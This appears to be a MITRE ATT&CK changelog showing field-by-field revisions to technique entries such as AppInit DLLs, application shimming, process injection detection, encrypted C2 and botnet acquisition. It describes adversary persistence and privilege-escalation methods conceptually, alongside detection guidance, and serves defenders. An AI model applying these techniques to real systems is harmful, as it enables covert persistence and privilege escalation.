| description | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017)
Similar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity.
The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot) | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)
Similar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity.
The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot) |
| external_references[1]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Windows Registry | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[3] | Loaded DLLs | Module: Module Load |
| x_mitre_detection | Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017)
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns)
Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. | Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns)
Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence and/or elevate privile | t | 1 | Adversaries may establish persistence and/or elevate privile |
| > | ges by executing malicious content triggered by application | > | ges by executing malicious content triggered by application | ||
| > | shims. The Microsoft Windows Application Compatibility Infra | > | shims. The Microsoft Windows Application Compatibility Infra | ||
| > | structure/Framework (Application Shim) was created to allow | > | structure/Framework (Application Shim) was created to allow | ||
| > | for backward compatibility of software as the operating syst | > | for backward compatibility of software as the operating syst | ||
| > | em codebase changes over time. For example, the application | > | em codebase changes over time. For example, the application | ||
| > | shimming feature allows developers to apply fixes to applica | > | shimming feature allows developers to apply fixes to applica | ||
| > | tions (without rewriting code) that were created for Windows | > | tions (without rewriting code) that were created for Windows | ||
| > | XP so that it will work with Windows 10. (Citation: Endgame | > | XP so that it will work with Windows 10. (Citation: Elastic | ||
| > | Process Injection July 2017) Within the framework, shims a | > | Process Injection July 2017) Within the framework, shims a | ||
| > | re created to act as a buffer between the program (or more s | > | re created to act as a buffer between the program (or more s | ||
| > | pecifically, the Import Address Table) and the Windows OS. W | > | pecifically, the Import Address Table) and the Windows OS. W | ||
| > | hen a program is executed, the shim cache is referenced to d | > | hen a program is executed, the shim cache is referenced to d | ||
| > | etermine if the program requires the use of the shim databas | > | etermine if the program requires the use of the shim databas | ||
| > | e (.sdb). If so, the shim database uses hooking to redirect | > | e (.sdb). If so, the shim database uses hooking to redirect | ||
| > | the code as necessary in order to communicate with the OS. | > | the code as necessary in order to communicate with the OS. | ||
| > | A list of all shims currently installed by the default Wind | > | A list of all shims currently installed by the default Wind | ||
| > | ows installer (sdbinst.exe) is kept in: * <code>%WINDIR%\Ap | > | ows installer (sdbinst.exe) is kept in: * <code>%WINDIR%\Ap | ||
| > | pPatch\sysmain.sdb</code> and * <code>hklm\software\microsof | > | pPatch\sysmain.sdb</code> and * <code>hklm\software\microsof | ||
| > | t\windows nt\currentversion\appcompatflags\installedsdb</cod | > | t\windows nt\currentversion\appcompatflags\installedsdb</cod | ||
| > | e> Custom databases are stored in: * <code>%WINDIR%\AppPat | > | e> Custom databases are stored in: * <code>%WINDIR%\AppPat | ||
| > | ch\custom & %WINDIR%\AppPatch\AppPatch64\Custom</code> and * | > | ch\custom & %WINDIR%\AppPatch\AppPatch64\Custom</code> and * | ||
| > | <code>hklm\software\microsoft\windows nt\currentversion\app | > | <code>hklm\software\microsoft\windows nt\currentversion\app | ||
| > | compatflags\custom</code> To keep shims secure, Windows des | > | compatflags\custom</code> To keep shims secure, Windows des | ||
| > | igned them to run in user mode so they cannot modify the ker | > | igned them to run in user mode so they cannot modify the ker | ||
| > | nel and you must have administrator privileges to install a | > | nel and you must have administrator privileges to install a | ||
| > | shim. However, certain shims can be used to [Bypass User Acc | > | shim. However, certain shims can be used to [Bypass User Acc | ||
| > | ount Control](https://attack.mitre.org/techniques/T1548/002) | > | ount Control](https://attack.mitre.org/techniques/T1548/002) | ||
| > | (UAC and RedirectEXE), inject DLLs into processes (InjectDL | > | (UAC and RedirectEXE), inject DLLs into processes (InjectDL | ||
| > | L), disable Data Execution Prevention (DisableNX) and Struct | > | L), disable Data Execution Prevention (DisableNX) and Struct | ||
| > | ure Exception Handling (DisableSEH), and intercept memory ad | > | ure Exception Handling (DisableSEH), and intercept memory ad | ||
| > | dresses (GetProcAddress). Utilizing these shims may allow a | > | dresses (GetProcAddress). Utilizing these shims may allow a | ||
| > | n adversary to perform several malicious acts such as elevat | > | n adversary to perform several malicious acts such as elevat | ||
| > | e privileges, install backdoors, disable defenses like Windo | > | e privileges, install backdoors, disable defenses like Windo | ||
| > | ws Defender, etc. (Citation: FireEye Application Shimming) S | > | ws Defender, etc. (Citation: FireEye Application Shimming) S | ||
| > | hims can also be abused to establish persistence by continuo | > | hims can also be abused to establish persistence by continuo | ||
| > | usly being invoked by affected programs. | > | usly being invoked by affected programs. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-04 19:05:30.140000+00:00 | 2020-11-10 18:29:31.094000+00:00 |
| description | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Endgame Process Injection July 2017)
Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS.
A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:
* %WINDIR%\AppPatch\sysmain.sdb and
* hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb
Custom databases are stored in:
* %WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom and
* hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom
To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).
Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs. | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)
Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS.
A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:
* %WINDIR%\AppPatch\sysmain.sdb and
* hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb
Custom databases are stored in:
* %WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom and
* hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom
To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).
Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs. |
| external_references[1]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Windows Registry | Command: Command Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Module: Module Load | |
| x_mitre_data_sources | File: File Modification |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may employ a known asymmetric encryption algorit | t | 1 | Adversaries may employ a known asymmetric encryption algorit |
| > | hm to conceal command and control traffic rather than relyin | > | hm to conceal command and control traffic rather than relyin | ||
| > | g on any inherent protections provided by a communication pr | > | g on any inherent protections provided by a communication pr | ||
| > | otocol. Asymmetric cryptography, also known as public key cr | > | otocol. Asymmetric cryptography, also known as public key cr | ||
| > | yptography, uses a keypair per party: one public that can be | > | yptography, uses a keypair per party: one public that can be | ||
| > | freely distributed, and one private. Due to how the keys ar | > | freely distributed, and one private. Due to how the keys ar | ||
| > | e generated, the sender encrypts data with the receiver’s pu | > | e generated, the sender encrypts data with the receiver’s pu | ||
| > | blic key and the receiver decrypts the data with their priva | > | blic key and the receiver decrypts the data with their priva | ||
| > | te key. This ensures that only the intended recipient can re | > | te key. This ensures that only the intended recipient can re | ||
| > | ad the encrypted data. Common public key encryption algorith | > | ad the encrypted data. Common public key encryption algorith | ||
| > | ms include RSA and ElGamal. For efficiency, may protocols ( | > | ms include RSA and ElGamal. For efficiency, many protocols | ||
| > | including SSL/TLS) use symmetric cryptography once a connect | > | (including SSL/TLS) use symmetric cryptography once a connec | ||
| > | ion is established, but use asymmetric cryptography to estab | > | tion is established, but use asymmetric cryptography to esta | ||
| > | lish or transmit a key. As such, these protocols are classif | > | blish or transmit a key. As such, these protocols are classi | ||
| > | ied as [Asymmetric Cryptography](https://attack.mitre.org/te | > | fied as [Asymmetric Cryptography](https://attack.mitre.org/t | ||
| > | chniques/T1573/002). | > | echniques/T1573/002). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 00:37:16.593000+00:00 | 2021-04-20 19:27:46.484000+00:00 |
| description | Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal. For efficiency, may protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002). | Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal. For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002). |
| x_mitre_data_sources[0] | Process monitoring | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process use of network | |
| x_mitre_data_sources | Malware reverse engineering | |
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Packet capture |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:17:05.394000+00:00 | 2020-11-10 18:29:30.961000+00:00 |
| external_references[5]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Process monitoring | Process: OS API Execution |
| x_mitre_data_sources[1] | API monitoring | Process: Process Access |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['ExtraHop'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 02:24:54.881000+00:00 | 2021-04-22 20:21:10.590000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Script: Script Execution |
| x_mitre_data_sources[2] | Process use of network | Network Traffic: Network Connection Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Flow | |
| x_mitre_data_sources | Network Traffic: Network Traffic Content | |
| x_mitre_data_sources | File: File Access |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Command: Command Execution', 'Process: Process Creation', 'Module: Module Load', 'Kernel: Kernel Module Load', 'Driver: Driver Load', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-09 16:05:36.772000+00:00 | 2021-04-24 13:50:12.837000+00:00 |
Current version: 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-03 16:47:37.240000+00:00 | 2021-04-27 19:58:02.332000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Windows Registry: Windows Registry Key Creation |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | Active Directory: Active Directory Object Modification | |
| x_mitre_data_sources | File: File Creation | |
| x_mitre_data_sources | File: File Modification |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise num | t | 1 | Adversaries may compromise numerous third-party systems to f |
| > | erous third-party systems to form a botnet that can be used | > | orm a botnet that can be used during targeting. A botnet is | ||
| > | during targeting. A botnet is a network of compromised syste | > | a network of compromised systems that can be instructed to p | ||
| > | ms that can be instructed to perform coordinated tasks.(Cita | > | erform coordinated tasks.(Citation: Norton Botnet) Instead o | ||
| > | tion: Norton Botnet) Instead of purchasing/renting a botnet | > | f purchasing/renting a botnet from a booter/stresser service | ||
| > | from a booter/stresser service(Citation: Imperva DDoS for Hi | > | (Citation: Imperva DDoS for Hire), adversaries may build the | ||
| > | re), adversaries may build their own botnet by compromising | > | ir own botnet by compromising numerous third-party systems. | ||
| > | numerous third-party systems. Adversaries may also conduct a | > | Adversaries may also conduct a takeover of an existing botne | ||
| > | takeover of an existing botnet, such as redirecting bots to | > | t, such as redirecting bots to adversary-controlled C2 serve | ||
| > | adversary-controlled C2 servers.(Citation: Dell Dridex Oct | > | rs.(Citation: Dell Dridex Oct 2015) With a botnet at their d | ||
| > | 2015) With a botnet at their disposal, adversaries may perfo | > | isposal, adversaries may perform follow-on activity such as | ||
| > | rm follow-on activity such as large-scale [Phishing](https:/ | > | large-scale [Phishing](https://attack.mitre.org/techniques/T | ||
| > | /attack.mitre.org/techniques/T1566) or Distributed Denial of | > | 1566) or Distributed Denial of Service (DDoS). | ||
| > | Service (DDoS). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:03:23.751000+00:00 | 2021-04-15 03:01:00.271000+00:00 |
| description | Before compromising a victim, adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service(Citation: Imperva DDoS for Hire), adversaries may build their own botnet by compromising numerous third-party systems. Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS). | Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service(Citation: Imperva DDoS for Hire), adversaries may build their own botnet by compromising numerous third-party systems. Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy, lease, or | t | 1 | Adversaries may buy, lease, or rent a network of compromised |
| > | rent a network of compromised systems that can be used duri | > | systems that can be used during targeting. A botnet is a ne | ||
| > | ng targeting. A botnet is a network of compromised systems t | > | twork of compromised systems that can be instructed to perfo | ||
| > | hat can be instructed to perform coordinated tasks.(Citation | > | rm coordinated tasks.(Citation: Norton Botnet) Adversaries m | ||
| > | : Norton Botnet) Adversaries may purchase a subscription to | > | ay purchase a subscription to use an existing botnet from a | ||
| > | use an existing botnet from a booter/stresser service. With | > | booter/stresser service. With a botnet at their disposal, ad | ||
| > | a botnet at their disposal, adversaries may perform follow-o | > | versaries may perform follow-on activity such as large-scale | ||
| > | n activity such as large-scale [Phishing](https://attack.mit | > | [Phishing](https://attack.mitre.org/techniques/T1566) or Di | ||
| > | re.org/techniques/T1566) or Distributed Denial of Service (D | > | stributed Denial of Service (DDoS).(Citation: Imperva DDoS f | ||
| > | DoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna) | > | or Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citat | ||
| > | (Citation: Krebs-Bazaar)(Citation: Krebs-Booter) | > | ion: Krebs-Booter) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-05 02:15:01.325000+00:00 | 2021-04-15 02:49:14.664000+00:00 |
| description | Before compromising a victim, adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter) | Adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter) |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's busine |
| > | tion about the victim's business relationships that can be u | > | ss relationships that can be used during targeting. Informat | ||
| > | sed during targeting. Information about an organization’s bu | > | ion about an organization’s business relationships may inclu | ||
| > | siness relationships may include a variety of details, inclu | > | de a variety of details, including second or third-party org | ||
| > | ding second or third-party organizations/domains (ex: manage | > | anizations/domains (ex: managed service providers, contracto | ||
| > | d service providers, contractors, etc.) that have connected | > | rs, etc.) that have connected (and potentially elevated) net | ||
| > | (and potentially elevated) network access. This information | > | work access. This information may also reveal supply chains | ||
| > | may also reveal supply chains and shipment paths for the vic | > | and shipment paths for the victim’s hardware and software re | ||
| > | tim’s hardware and software resources. Adversaries may gath | > | sources. Adversaries may gather this information in various | ||
| > | er this information in various ways, such as direct elicitat | > | ways, such as direct elicitation via [Phishing for Informat | ||
| > | ion via [Phishing for Information](https://attack.mitre.org/ | > | ion](https://attack.mitre.org/techniques/T1598). Information | ||
| > | techniques/T1598). Information about business relationships | > | about business relationships may also be exposed to adversa | ||
| > | may also be exposed to adversaries via online or other acces | > | ries via online or other accessible data sets (ex: [Social M | ||
| > | sible data sets (ex: [Social Media](https://attack.mitre.org | > | edia](https://attack.mitre.org/techniques/T1593/001) or [Sea | ||
| > | /techniques/T1593/001) or [Search Victim-Owned Websites](htt | > | rch Victim-Owned Websites](https://attack.mitre.org/techniqu | ||
| > | ps://attack.mitre.org/techniques/T1594)).(Citation: ThreatPo | > | es/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering | ||
| > | st Broadvoice Leak) Gathering this information may reveal op | > | this information may reveal opportunities for other forms of | ||
| > | portunities for other forms of reconnaissance (ex: [Phishing | > | reconnaissance (ex: [Phishing for Information](https://atta | ||
| > | for Information](https://attack.mitre.org/techniques/T1598) | > | ck.mitre.org/techniques/T1598) or [Search Open Websites/Doma | ||
| > | or [Search Open Websites/Domains](https://attack.mitre.org/ | > | ins](https://attack.mitre.org/techniques/T1593)), establishi | ||
| > | techniques/T1593)), establishing operational resources (ex: | > | ng operational resources (ex: [Establish Accounts](https://a | ||
| > | [Establish Accounts](https://attack.mitre.org/techniques/T15 | > | ttack.mitre.org/techniques/T1585) or [Compromise Accounts](h | ||
| > | 85) or [Compromise Accounts](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1586)), and/or initial a | ||
| > | ques/T1586)), and/or initial access (ex: [Supply Chain Compr | > | ccess (ex: [Supply Chain Compromise](https://attack.mitre.or | ||
| > | omise](https://attack.mitre.org/techniques/T1195), [Drive-by | > | g/techniques/T1195), [Drive-by Compromise](https://attack.mi | ||
| > | Compromise](https://attack.mitre.org/techniques/T1189), or | > | tre.org/techniques/T1189), or [Trusted Relationship](https:/ | ||
| > | [Trusted Relationship](https://attack.mitre.org/techniques/T | > | /attack.mitre.org/techniques/T1199)). | ||
| > | 1199)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:08:59.209000+00:00 | 2021-04-15 03:36:58.964000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search content | t | 1 | Adversaries may search content delivery network (CDN) data a |
| > | delivery network (CDN) data about victims that can be used | > | bout victims that can be used during targeting. CDNs allow a | ||
| > | during targeting. CDNs allow an organization to host content | > | n organization to host content from a distributed, load bala | ||
| > | from a distributed, load balanced array of servers. CDNs ma | > | nced array of servers. CDNs may also allow organizations to | ||
| > | y also allow organizations to customize content delivery bas | > | customize content delivery based on the requestor’s geograph | ||
| > | ed on the requestor’s geographical region. Adversaries may | > | ical region. Adversaries may search CDN data to gather acti | ||
| > | search CDN data to gather actionable information. Threat act | > | onable information. Threat actors can use online resources a | ||
| > | ors can use online resources and lookup tools to harvest inf | > | nd lookup tools to harvest information about content servers | ||
| > | ormation about content servers within a CDN. Adversaries may | > | within a CDN. Adversaries may also seek and target CDN misc | ||
| > | also seek and target CDN misconfigurations that leak sensit | > | onfigurations that leak sensitive information not intended t | ||
| > | ive information not intended to be hosted and/or do not have | > | o be hosted and/or do not have the same protection mechanism | ||
| > | the same protection mechanisms (ex: login portals) as the c | > | s (ex: login portals) as the content hosted on the organizat | ||
| > | ontent hosted on the organization’s website.(Citation: Digit | > | ion’s website.(Citation: DigitalShadows CDN) Information fro | ||
| > | alShadows CDN) Information from these sources may reveal opp | > | m these sources may reveal opportunities for other forms of | ||
| > | ortunities for other forms of reconnaissance (ex: [Active Sc | > | reconnaissance (ex: [Active Scanning](https://attack.mitre.o | ||
| > | anning](https://attack.mitre.org/techniques/T1595) or [Searc | > | rg/techniques/T1595) or [Search Open Websites/Domains](https | ||
| > | h Open Websites/Domains](https://attack.mitre.org/techniques | > | ://attack.mitre.org/techniques/T1593)), establishing operati | ||
| > | /T1593)), establishing operational resources (ex: [Acquire I | > | onal resources (ex: [Acquire Infrastructure](https://attack. | ||
| > | nfrastructure](https://attack.mitre.org/techniques/T1583) or | > | mitre.org/techniques/T1583) or [Compromise Infrastructure](h | ||
